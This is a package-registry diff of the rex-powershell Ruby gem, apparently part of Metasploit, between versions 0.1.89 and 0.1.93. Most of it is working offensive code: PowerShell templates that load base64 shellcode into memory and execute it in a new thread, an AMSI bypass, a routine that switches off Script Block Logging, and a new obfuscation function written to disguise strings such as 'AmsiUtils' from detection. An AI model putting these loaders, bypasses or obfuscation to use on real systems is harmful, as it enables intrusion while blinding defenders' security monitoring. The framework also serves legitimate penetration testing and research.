rex-powershell 0.1.89 → 0.1.93
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- checksums.yaml.gz.sig +0 -0
- data/.github/workflows/verify.yml +46 -0
- data/data/templates/to_mem_dotnet.ps1.template +10 -5
- data/data/templates/to_mem_pshreflection.ps1.template +21 -19
- data/data/templates/to_mem_rc4.ps1.template +1 -1
- data/lib/rex/powershell/command.rb +25 -8
- data/lib/rex/powershell/obfu.rb +87 -0
- data/lib/rex/powershell/output.rb +12 -4
- data/lib/rex/powershell/payload.rb +2 -3
- data/lib/rex/powershell/psh_methods.rb +24 -15
- data/lib/rex/powershell/version.rb +1 -1
- data.tar.gz.sig +0 -0
- metadata +3 -2
- metadata.gz.sig +0 -0
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 264ef895e51a24ebc9faec44d558f16f4d7324e75dc7b9c7f9c5ce504b14eaea
|
4
|
+
data.tar.gz: 79a682962f60136c0189156715dd190e2d4573c64851a601ab05f4d1e2a15db8
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 6f2ba77f0172164a76f00607cccf083c63b163dc321df4f0c40d49397bc269e18b13282a3f5f91807423e3eecfaf289c623d1a516a4c7831c2faaade17686c2f
|
7
|
+
data.tar.gz: 116b6339f8c82e719915c7359d34845f0ab140fa14f61934ad5359567b1c67fdbf9940f62e19828ff596904d2e308e40428c7be59c816f25218fd9a06f3281aa
|
checksums.yaml.gz.sig
CHANGED
Binary file
|
@@ -0,0 +1,46 @@
|
|
1
|
+
name: Verify
|
2
|
+
|
3
|
+
on:
|
4
|
+
push:
|
5
|
+
branches:
|
6
|
+
- '*'
|
7
|
+
pull_request:
|
8
|
+
branches:
|
9
|
+
- '*'
|
10
|
+
|
11
|
+
jobs:
|
12
|
+
test:
|
13
|
+
runs-on: ubuntu-18.04
|
14
|
+
timeout-minutes: 40
|
15
|
+
|
16
|
+
strategy:
|
17
|
+
fail-fast: true
|
18
|
+
matrix:
|
19
|
+
ruby:
|
20
|
+
- 2.5
|
21
|
+
- 2.6
|
22
|
+
- 2.7
|
23
|
+
- 3.0
|
24
|
+
test_cmd:
|
25
|
+
- bundle exec rspec
|
26
|
+
|
27
|
+
env:
|
28
|
+
RAILS_ENV: test
|
29
|
+
|
30
|
+
name: Ruby ${{ matrix.ruby }} - ${{ matrix.test_cmd }}
|
31
|
+
steps:
|
32
|
+
- name: Checkout code
|
33
|
+
uses: actions/checkout@v2
|
34
|
+
|
35
|
+
- name: Setup Ruby
|
36
|
+
uses: ruby/setup-ruby@v1
|
37
|
+
with:
|
38
|
+
ruby-version: ${{ matrix.ruby }}
|
39
|
+
bundler-cache: true
|
40
|
+
|
41
|
+
- name: ${{ matrix.test_cmd }}
|
42
|
+
run: |
|
43
|
+
echo "${CMD}"
|
44
|
+
bash -c "${CMD}"
|
45
|
+
env:
|
46
|
+
CMD: ${{ matrix.test_cmd }}
|
@@ -5,9 +5,10 @@ $%{var_syscode} = @"
|
|
5
5
|
namespace %{var_kernel32} {
|
6
6
|
public class func {
|
7
7
|
[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
|
8
|
-
[Flags] public enum MemoryProtection {
|
8
|
+
[Flags] public enum MemoryProtection { ReadWrite = 0x04, Execute= 0x10 }
|
9
9
|
[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
|
10
10
|
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
11
|
+
[DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr lpAddress, int dwSize, int flNewProtect,out int lpflOldProtect);
|
11
12
|
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
12
13
|
[DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
|
13
14
|
}
|
@@ -21,10 +22,14 @@ $%{var_compileParams}.GenerateInMemory = $True
|
|
21
22
|
$%{var_output} = $%{var_codeProvider}.CompileAssemblyFromSource($%{var_compileParams}, $%{var_syscode})
|
22
23
|
|
23
24
|
[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
|
25
|
+
[Uint32]$%{var_opf} = 0
|
24
26
|
|
25
|
-
$%{var_baseaddr} = [%{var_kernel32}.func]::VirtualAlloc(0, $%{var_code}.Length + 1, [%{var_kernel32}.func+AllocationType]::Reserve -bOr [%{var_kernel32}.func+AllocationType]::Commit, [%{var_kernel32}.func+MemoryProtection]::
|
27
|
+
$%{var_baseaddr} = [%{var_kernel32}.func]::VirtualAlloc(0, $%{var_code}.Length + 1, [%{var_kernel32}.func+AllocationType]::Reserve -bOr [%{var_kernel32}.func+AllocationType]::Commit, [%{var_kernel32}.func+MemoryProtection]::ReadWrite)
|
26
28
|
if ([Bool]!$%{var_baseaddr}) { $global:result = 3; return }
|
27
29
|
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_baseaddr}, $%{var_code}.Length)
|
28
|
-
|
29
|
-
if ([
|
30
|
-
$%{
|
30
|
+
|
31
|
+
if ([%{var_kernel32}.func]::VirtualProtect($%{var_baseaddr},[Uint32]$%{var_code}.Length + 1, [%{var_kernel32}.func+MemoryProtection]::Execute, [Ref]$%{var_opf}) -eq $true ) {
|
32
|
+
[IntPtr] $%{var_threadHandle} = [%{var_kernel32}.func]::CreateThread(0,0,$%{var_baseaddr},0,0,0)
|
33
|
+
if ([Bool]!$%{var_threadHandle}) { $global:result = 7; return }
|
34
|
+
$%{var_temp} = [%{var_kernel32}.func]::WaitForSingleObject($%{var_threadHandle}, [%{var_kernel32}.func+Time]::Infinite)
|
35
|
+
}
|
@@ -1,27 +1,29 @@
|
|
1
1
|
function %{func_get_proc_address} {
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
2
|
+
Param ($%{var_module}, $%{var_procedure})
|
3
|
+
$%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
|
4
|
+
|
5
|
+
return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure}))
|
6
6
|
}
|
7
7
|
|
8
8
|
function %{func_get_delegate_type} {
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
|
9
|
+
Param (
|
10
|
+
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters},
|
11
|
+
[Parameter(Position = 1)] [Type] $%{var_return_type} = [Void]
|
12
|
+
)
|
13
|
+
|
14
|
+
$%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
15
|
+
$%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
|
16
|
+
$%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
|
17
|
+
|
18
|
+
return $%{var_type_builder}.CreateType()
|
19
19
|
}
|
20
20
|
|
21
21
|
[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
|
22
|
-
|
23
|
-
$%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000,
|
24
|
-
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)
|
22
|
+
[Uint32]$%{var_opf} = 0
|
23
|
+
$%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x04)
|
25
24
|
|
26
|
-
|
27
|
-
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll
|
25
|
+
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)
|
26
|
+
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualProtect), (%{func_get_delegate_type} @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($%{var_buffer}, [Uint32]$%{var_code}.Length, 0x10, [Ref]$%{var_opf})) -eq $true) {
|
27
|
+
$%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero)
|
28
|
+
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null
|
29
|
+
}
|
@@ -1,7 +1,7 @@
|
|
1
1
|
function %{func_rc4_decrypt} {
|
2
2
|
param([Byte[]]$%{var_rc4buffer})
|
3
3
|
|
4
|
-
|
4
|
+
$%{var_key} = ([system.Text.Encoding]::UTF8).GetBytes("%{random_key}")
|
5
5
|
|
6
6
|
$s = New-Object Byte[] 256;
|
7
7
|
$k = New-Object Byte[] 256;
|
@@ -268,6 +268,12 @@ EOS
|
|
268
268
|
# @param opts [Hash] The options to generate the command
|
269
269
|
# @option opts [Boolean] :persist Loop the payload to cause
|
270
270
|
# re-execution if the shellcode finishes
|
271
|
+
# @option opts [String] :prepend A stub of Powershell code to prepend to the
|
272
|
+
# payload.
|
273
|
+
# @option opts [String] :prepend_inner A stub of Powershell code to prepend to
|
274
|
+
# the inner payload.
|
275
|
+
# @option opts [Boolean] :prepend_protections_bypass Prepend a stub that
|
276
|
+
# bypasses Powershell protections.
|
271
277
|
# @option opts [Integer] :prepend_sleep Sleep for the specified time
|
272
278
|
# before executing the payload
|
273
279
|
# @option opts [String] :method The powershell injection technique to
|
@@ -307,6 +313,14 @@ EOS
|
|
307
313
|
fail RuntimeError, 'No Powershell method specified'
|
308
314
|
end
|
309
315
|
|
316
|
+
if opts[:exec_rc4]
|
317
|
+
psh_payload = Rex::Powershell::Payload.to_win32pe_psh_rc4(template_path, psh_payload)
|
318
|
+
end
|
319
|
+
|
320
|
+
if opts[:prepend_inner]
|
321
|
+
psh_payload = opts[:prepend_inner] << (opts[:prepend_inner].end_with?(';') ? '' : ';') << psh_payload
|
322
|
+
end
|
323
|
+
|
310
324
|
# Run our payload in a while loop
|
311
325
|
if opts[:persist]
|
312
326
|
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
|
@@ -322,12 +336,6 @@ EOS
|
|
322
336
|
end
|
323
337
|
|
324
338
|
compressed_payload = compress_script(psh_payload, nil, opts)
|
325
|
-
|
326
|
-
if opts[:prepend_protections_bypass]
|
327
|
-
bypass_amsi = Rex::Powershell::PshMethods.bypass_powershell_protections
|
328
|
-
compressed_payload = bypass_amsi + ";" + compressed_payload
|
329
|
-
end
|
330
|
-
|
331
339
|
encoded_payload = encode_script(psh_payload, opts)
|
332
340
|
|
333
341
|
# This branch is probably never taken...
|
@@ -350,6 +358,15 @@ EOS
|
|
350
358
|
end
|
351
359
|
end
|
352
360
|
|
361
|
+
if opts[:prepend_protections_bypass]
|
362
|
+
bypass_amsi = Rex::Powershell::PshMethods.bypass_powershell_protections
|
363
|
+
smallest_payload = bypass_amsi + ";" + smallest_payload
|
364
|
+
end
|
365
|
+
|
366
|
+
if opts[:prepend]
|
367
|
+
smallest_payload = opts[:prepend] << (opts[:prepend].end_with?(';') ? '' : ';') << smallest_payload
|
368
|
+
end
|
369
|
+
|
353
370
|
if opts[:exec_in_place]
|
354
371
|
final_payload = smallest_payload
|
355
372
|
else
|
@@ -360,8 +377,8 @@ EOS
|
|
360
377
|
end
|
361
378
|
|
362
379
|
command_args = {
|
363
|
-
|
364
|
-
|
380
|
+
noprofile: true,
|
381
|
+
windowstyle: 'hidden'
|
365
382
|
}.merge(opts)
|
366
383
|
|
367
384
|
if opts[:encode_final_payload]
|
data/lib/rex/powershell/obfu.rb
CHANGED
@@ -12,6 +12,92 @@ module Powershell
|
|
12
12
|
WHITESPACE_REGEX = Regexp.new(/\s+/)
|
13
13
|
EMPTY_LINE_REGEX = Regexp.new(/^$|^\s+$/)
|
14
14
|
|
15
|
+
#
|
16
|
+
# Obfuscate a Powershell literal string value. The character set of the string is limited to alpha-numeric
|
17
|
+
# characters and some punctuation. This routine will use a combination of of techniques including formatting and
|
18
|
+
# concatenation. The result is an expression that can either be passed to a function or assigned to a variable.
|
19
|
+
#
|
20
|
+
# @param [String] string The string value to obfuscate.
|
21
|
+
# @param [Float] threshold A floating point value between 0 and 1 that controls how much of the string is
|
22
|
+
# obfuscated. Higher values result in more obfuscation while 0 returns the original string without any
|
23
|
+
# obfuscation.
|
24
|
+
# @return [String] An obfuscated Powershell expression that evaluates to the specified string.
|
25
|
+
def self.scate_string_literal(string, threshold: 0.15)
|
26
|
+
# this hasn't been thoroughly tested for strings that contain alot of punctuation, just simple ones like
|
27
|
+
# 'AmsiUtils', the most important characters that are assumed to be missing are quotes and braces
|
28
|
+
raise ArgumentError.new('string contains an unsupported character') if string =~ /[^a-zA-Z0-9,+=\.\/]/
|
29
|
+
raise ArgumentError.new('threshold must be between 0 and 1') unless threshold.between?(0, 1)
|
30
|
+
|
31
|
+
new = original = string
|
32
|
+
occurrences = {}
|
33
|
+
original.each_char { |char|
|
34
|
+
occurrences[char] = 0 unless occurrences.key?(char)
|
35
|
+
occurrences[char] += 1
|
36
|
+
}
|
37
|
+
char_map = occurrences.group_by { |k,v| v }.sort_by { |k,v| -k }.map { |k,v| v.shuffle }.flatten(1)
|
38
|
+
|
39
|
+
# phase 1
|
40
|
+
format = []
|
41
|
+
char_subs = 0.0
|
42
|
+
while (char_subs / original.length.to_f) < threshold
|
43
|
+
orig_char, occurrence_count = char_map.pop
|
44
|
+
new = new.gsub(/(?<!\{)#{Regexp.escape(orig_char)}(?!\})/, "{#{format.length}}")
|
45
|
+
format << "'#{orig_char}'"
|
46
|
+
char_subs += occurrence_count
|
47
|
+
end
|
48
|
+
|
49
|
+
# phase 2
|
50
|
+
concat = "'+'"
|
51
|
+
positions = threshold > 0 ? (0..new.length).to_a.shuffle[0..(new.length * threshold)] : []
|
52
|
+
positions.sort!
|
53
|
+
positions.each_with_index do |position, index|
|
54
|
+
new = new.insert(position + (index * concat.length), concat)
|
55
|
+
end
|
56
|
+
|
57
|
+
new = "'#{new}'"
|
58
|
+
new = "(#{new})" unless threshold == 0
|
59
|
+
|
60
|
+
final = new
|
61
|
+
final << "-f#{format.join(',')}" unless format.empty?
|
62
|
+
final = "(#{final})" unless format.empty? && threshold == 0
|
63
|
+
final
|
64
|
+
end
|
65
|
+
|
66
|
+
#
|
67
|
+
# Deobfuscate a Powershell literal string value that was previously obfuscated by #scate_string_literal.
|
68
|
+
#
|
69
|
+
# @param [String] string The obfuscated Powershell expression to deobfuscate.
|
70
|
+
# @raises [RuntimeError] If the string can not be deobfuscated, for example because it was randomized using a
|
71
|
+
# different routine, then an exception is raised.
|
72
|
+
# @return [String] The string literal value.
|
73
|
+
def self.descate_string_literal(string)
|
74
|
+
string = string.strip
|
75
|
+
nest_level = [string.match(/^(\(*)/)[0].length, string.match(/(\)*)$/)[0].length].min
|
76
|
+
string = string[nest_level...-nest_level].strip if nest_level > 0
|
77
|
+
format_args = nil
|
78
|
+
if (string =~ /\((?>[^)(]+|\g<0>)*\)/) == 0
|
79
|
+
format = Regexp.last_match(0)
|
80
|
+
format_args = string[format.length..-1].strip
|
81
|
+
unless format_args =~ /-f\s*('.',\s*)*('.')/
|
82
|
+
raise RuntimeError.new('The obfuscated string structure is unsupported')
|
83
|
+
end
|
84
|
+
format_args = format_args[2..-1].strip.scan(/'(.)'/).map { |match| match[0] }
|
85
|
+
string = format[1...-1].strip
|
86
|
+
end
|
87
|
+
|
88
|
+
unless string =~ /^'.*'$/
|
89
|
+
raise RuntimeError.new('The obfuscated string structure is unsupported')
|
90
|
+
end
|
91
|
+
string = string.gsub(/'\s*\+\s*'/, '') # process all concatenation operations
|
92
|
+
unless format_args.nil? # process all format string operations
|
93
|
+
string = string.gsub(/\{\s*\d+\s*\}/) do |index|
|
94
|
+
format_args[index[1...-1].to_i]
|
95
|
+
end
|
96
|
+
end
|
97
|
+
|
98
|
+
string[1...-1]
|
99
|
+
end
|
100
|
+
|
15
101
|
#
|
16
102
|
# Remove comments
|
17
103
|
#
|
@@ -45,6 +131,7 @@ module Powershell
|
|
45
131
|
# @return [String] code with whitespace stripped
|
46
132
|
def strip_whitespace
|
47
133
|
code.gsub!(WHITESPACE_REGEX, ' ')
|
134
|
+
code.strip!
|
48
135
|
|
49
136
|
code
|
50
137
|
end
|
@@ -50,10 +50,11 @@ module Powershell
|
|
50
50
|
# Base64 encode the compressed file contents
|
51
51
|
encoded_stream = Rex::Text.encode_base64(compressed_stream)
|
52
52
|
|
53
|
+
|
53
54
|
# Build the powershell expression
|
54
55
|
# Decode base64 encoded command and create a stream object
|
55
56
|
psh_expression = "$s=New-Object System.IO.MemoryStream(,"
|
56
|
-
psh_expression << "[System.Convert]::FromBase64String(
|
57
|
+
psh_expression << "[System.Convert]::FromBase64String(#{Obfu.scate_string_literal(encoded_stream, threshold: 0.01)}));"
|
57
58
|
# Read & delete the first two bytes due to incompatibility with MS
|
58
59
|
psh_expression << '$s.ReadByte();'
|
59
60
|
psh_expression << '$s.ReadByte();'
|
@@ -109,7 +110,7 @@ module Powershell
|
|
109
110
|
# GzipStream operates on the Memory Stream
|
110
111
|
psh_expression << '(New-Object System.IO.MemoryStream(,'
|
111
112
|
# MemoryStream consists of base64 encoded compressed data
|
112
|
-
psh_expression << "[System.Convert]::FromBase64String(
|
113
|
+
psh_expression << "[System.Convert]::FromBase64String(#{Obfu.scate_string_literal(encoded_stream, threshold: 0.01)})))"
|
113
114
|
# Set the GzipStream to decompress its MemoryStream contents
|
114
115
|
psh_expression << ',[System.IO.Compression.CompressionMode]::Decompress)'
|
115
116
|
# Read the decoded, decompressed result into scriptblock contents
|
@@ -139,8 +140,15 @@ module Powershell
|
|
139
140
|
#
|
140
141
|
# @return [String] Decompressed powershell code
|
141
142
|
def decompress_code
|
142
|
-
# Extract substring with
|
143
|
-
|
143
|
+
# Extract substring with payload4
|
144
|
+
if @code =~ /FromBase64String\('([a-zA-z0-9\+\/=]*)'\)/
|
145
|
+
encoded_stream = Regexp.last_match(1)
|
146
|
+
elsif @code =~ /FromBase64String(\((?>[^)(]+|\g<1>)*\))/
|
147
|
+
encoded_stream = Obfu.descate_string_literal(Regexp.last_match(1))
|
148
|
+
else
|
149
|
+
raise RuntimeError, 'Failed to identify the base64 data'
|
150
|
+
end
|
151
|
+
|
144
152
|
# Decode and decompress the string
|
145
153
|
unencoded = Rex::Text.decode_base64(encoded_stream)
|
146
154
|
begin
|
@@ -37,10 +37,10 @@ module Payload
|
|
37
37
|
def self.to_win32pe_psh(template_path = TEMPLATE_DIR, code)
|
38
38
|
hash_sub = {}
|
39
39
|
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
|
40
|
-
hash_sub[:var_win32_func]
|
40
|
+
hash_sub[:var_win32_func] = Rex::Text.rand_text_alpha(rand(8)+8)
|
41
41
|
hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)
|
42
42
|
hash_sub[:var_size] = Rex::Text.rand_text_alpha(rand(8)+8)
|
43
|
-
hash_sub[:var_rwx]
|
43
|
+
hash_sub[:var_rwx] = Rex::Text.rand_text_alpha(rand(8)+8)
|
44
44
|
hash_sub[:var_iter] = Rex::Text.rand_text_alpha(rand(8)+8)
|
45
45
|
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
|
46
46
|
|
@@ -55,7 +55,6 @@ module Payload
|
|
55
55
|
# Originally from PowerSploit
|
56
56
|
#
|
57
57
|
def self.to_win32pe_psh_reflection(template_path = TEMPLATE_DIR, code)
|
58
|
-
# Intialize rig and value names
|
59
58
|
rig = Rex::RandomIdentifier::Generator.new(DEFAULT_RIG_OPTS)
|
60
59
|
rig.init_var(:func_get_proc_address)
|
61
60
|
rig.init_var(:func_get_delegate_type)
|
@@ -90,10 +90,13 @@ module Powershell
|
|
90
90
|
#
|
91
91
|
# @return [String] PowerShell code to bypass AMSI
|
92
92
|
def self.bypass_amsi()
|
93
|
-
|
94
|
-
$Ref=[Ref].Assembly.GetType('System.Management.Automation.
|
95
|
-
$Ref.GetField('
|
96
|
-
|
93
|
+
script = Script.new(<<-PSH
|
94
|
+
$Ref=[Ref].Assembly.GetType(#{Obfu.scate_string_literal('System.Management.Automation.AmsiUtils')});
|
95
|
+
$Ref.GetField(#{Obfu.scate_string_literal('amsiInitFailed')},'NonPublic,Static').SetValue($null,$true);
|
96
|
+
PSH
|
97
|
+
)
|
98
|
+
script.sub_vars
|
99
|
+
script
|
97
100
|
end
|
98
101
|
|
99
102
|
#
|
@@ -101,22 +104,28 @@ module Powershell
|
|
101
104
|
#
|
102
105
|
# @return [String] PowerShell code to bypass Script Block Logging
|
103
106
|
def self.bypass_script_log()
|
104
|
-
|
105
|
-
$GPF=[ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','
|
106
|
-
If($GPF){
|
107
|
+
script = Script.new(<<-PSH
|
108
|
+
$GPF=[ref].Assembly.GetType(#{Obfu.scate_string_literal('System.Management.Automation.Utils')}).GetField(#{Obfu.scate_string_literal('cachedGroupPolicySettings')},'NonPublic,Static');
|
109
|
+
If ($GPF) {
|
110
|
+
$SBL=#{Obfu.scate_string_literal('ScriptBlockLogging')};
|
111
|
+
$EnableSBL=#{Obfu.scate_string_literal('EnableScriptBlockLogging')};
|
112
|
+
$EnableSBIL=#{Obfu.scate_string_literal('EnableScriptBlockInvocationLogging')};
|
107
113
|
$GPC=$GPF.GetValue($null);
|
108
|
-
If($GPC[
|
109
|
-
$GPC[
|
110
|
-
$GPC[
|
114
|
+
If($GPC[$SBL]){
|
115
|
+
$GPC[$SBL][$EnableSBL]=0;
|
116
|
+
$GPC[$SBL][$EnableSBIL]=0;
|
111
117
|
}
|
112
118
|
$val=[Collections.Generic.Dictionary[string,System.Object]]::new();
|
113
|
-
$val.Add(
|
114
|
-
$val.Add(
|
115
|
-
$GPC['HKEY_LOCAL_MACHINE
|
119
|
+
$val.Add($EnableSBL,0);
|
120
|
+
$val.Add($EnableSBIL,0);
|
121
|
+
$GPC['HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\'+$SBL]=$val;
|
116
122
|
} Else {
|
117
|
-
[ScriptBlock].GetField('signatures','
|
123
|
+
[ScriptBlock].GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]));
|
118
124
|
}
|
119
|
-
|
125
|
+
PSH
|
126
|
+
)
|
127
|
+
script.sub_vars
|
128
|
+
script
|
120
129
|
end
|
121
130
|
|
122
131
|
#
|
data.tar.gz.sig
CHANGED
Binary file
|
metadata
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: rex-powershell
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.1.
|
4
|
+
version: 0.1.93
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Metasploit Hackers
|
@@ -93,7 +93,7 @@ cert_chain:
|
|
93
93
|
EknWpNgVhohbot1lfVAMmIhdtOVaRVcQQixWPwprDj/ydB8ryDMDosIMcw+fkoXU
|
94
94
|
9GJsSaSRRYQ9UUkVL27b64okU8D48m8=
|
95
95
|
-----END CERTIFICATE-----
|
96
|
-
date: 2021-
|
96
|
+
date: 2021-09-03 00:00:00.000000000 Z
|
97
97
|
dependencies:
|
98
98
|
- !ruby/object:Gem::Dependency
|
99
99
|
name: rake
|
@@ -173,6 +173,7 @@ executables: []
|
|
173
173
|
extensions: []
|
174
174
|
extra_rdoc_files: []
|
175
175
|
files:
|
176
|
+
- ".github/workflows/verify.yml"
|
176
177
|
- ".gitignore"
|
177
178
|
- ".rspec"
|
178
179
|
- ".travis.yml"
|
metadata.gz.sig
CHANGED
Binary file
|